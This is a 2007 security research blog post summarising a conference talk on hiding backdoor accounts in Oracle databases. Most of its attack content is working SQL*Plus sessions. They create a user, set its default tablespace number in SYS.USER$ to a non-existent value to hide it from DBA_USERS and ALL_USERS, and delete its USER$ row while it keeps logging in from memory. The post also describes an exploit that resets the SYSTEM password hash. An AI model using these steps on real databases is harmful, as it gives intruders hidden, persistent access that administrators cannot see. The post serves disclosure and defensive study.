[Previous entry: "Greyhound Surprise"] [Next entry: "John Heasman's started a new blog..."]
12/19/2007: "In-Memory Oracle Backdoors"
Last month I spoke at the Deepsec conference about in-memory Oracle backdoors, otherwise known as "rootkits". Anyway, most of the current "rootkits" require changing data dictionary objects or the Oracle binaries. The first part of my talk showed that no changes to data dictionary objects or binaries are required to achieve the same ends (but potentially at the cost of persistence). The second part of the talk demonstrated an exploit for Oracle 10gR2 that walked through the SGA looking for the SYSTEM user's user structure and on finding it changes the password hash to a known constant - the hash for S3CR3T - thus allowing the attacker to log on as the SYSTEM user.
Here, we’ll look at new backdoor methods that can be used without the need to change data dictionary objects.
Aim: Hacker wants to hide his backdoor account.
Old Solution: Modify DBA_USERS, ALL_USERS and KU$_USER_VIEW view to hide the account
Weakness: Change to data dictionary object easily spotted
Alternative solution: Create a user with such properties that they don't appear in the DBA_USERS or ALL_USERS view.
If we look at the DBA_USERS view text we can see that one of the predicates is
u.datats# = dts.ts#
The essentially checks for equality between the user's default tablespace number and the actual tablespace numbers. If the attacker can make this predicate "not true", or any of the predicates for that matter and still be able to log in with their account then their backdoor account won't be listed in DBA_USERS or ALL_USERS. Engineering it so this predicate is not true is as simple as updating the DATATS# to a non-existent tablespace number:
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE USER HAX0R2 IDENTIFIED BY PASSWORD;
User created.
SQL> GRANT CREATE SESSION TO HAX0R2;
Grant succeeded.
SQL> SELECT USERNAME FROM DBA_USERS WHERE USERNAME = 'HAX0R2';
USERNAME
------------------------------
HAX0R2
SQL> SELECT USERNAME FROM ALL_USERS WHERE USERNAME = 'HAX0R2';
USERNAME
------------------------------
HAX0R2
SQL> UPDATE SYS.USER$ SET DATATS#=1337 WHERE NAME = 'HAX0R2';
1 row updated.
SQL> COMMIT;
Commit complete.
SQL> SELECT USERNAME FROM DBA_USERS WHERE USERNAME = 'HAX0R2';
no rows selected
SQL> SELECT USERNAME FROM ALL_USERS WHERE USERNAME = 'HAX0R2';
no rows selected
SQL> CONNECT HAX0R2/PASSWORD
Connected.
SQL>
This user account will still of course be visible if the USER$ table is queried directly.
Aim: Hacker wants to hide his backdoor account from USER$
Solution: Make copy of USER$ and call it ASER$. Modify Oracle binaries replacing all instances of USER$ with ASER$
Weaknesses: Need to stop and restart the server; easy to spot a change to the OS file; DBA wonders why all the new users he's adding don't appear in USER$.
Alternative Solution: Create the user account and log in. Then do a direct delete on USER$:
SQL> CONNECT / AS SYSDBA
Connected.
SQL> DELETE FROM SYS.USER$ WHERE NAME = 'HAX0R2';
1 row deleted.
SQL> COMMIT;
Commit complete.
SQL> SELECT NAME FROM SYS.USER$ WHERE NAME = 'HAX0R2';
no rows selected
SQL> CONNECT HAX0R2/PASSWORD
Connected.
SQL>
Note that, even though the user account has been deleted they can still log in. This is because the account is still present in the SGA. As long as the server isn't restarted the account will persist. If it is then the attacker will have to reinfect the target. Note also that if an incorrect password is given then the account is essentially crippled and can no longer be logged into.
SQL> connect deltest/passwordx
ERROR:
ORA-00600: internal error code, arguments: [4353], [U], [0], [98], [], [], [],
[]
ORA-01017: invalid username/password; logon denied
SQL> connect deltest/password
ERROR:
ORA-01017: invalid username/password; logon denied
For more please see the slides of the talk which can be found here.